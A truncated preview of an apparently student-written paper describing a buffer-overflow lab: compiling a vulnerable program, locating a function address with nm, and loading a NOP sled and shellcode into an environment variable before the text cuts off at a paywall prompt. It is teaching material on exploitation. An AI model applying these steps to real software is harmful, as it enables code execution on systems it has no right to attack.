This is what i did to get these two tasks done for the first task for
calling Dont_Think_So() function within run time.
main.c == the program we are exploiting which i posted on this site
admin@box:~$ gcc main.c -o main
admin@box:~$
admin@box:~$ nm main
08048434 T Dont_Think_So shellcode
admin@box:~$ export SHELLCODE=`perl -e 'print "\x90"x20;'``cat shellcode`
admin@box:~$
We now use something what gets the offset of an environment which is
#include
main (int argc, char *argv[]) {
char *addr;
if (argc ...
Join Now or Login to view the rest of this paper.
Approximate Word Count: 394
Approximate Pages: 2 (260 words per double-spaced page) |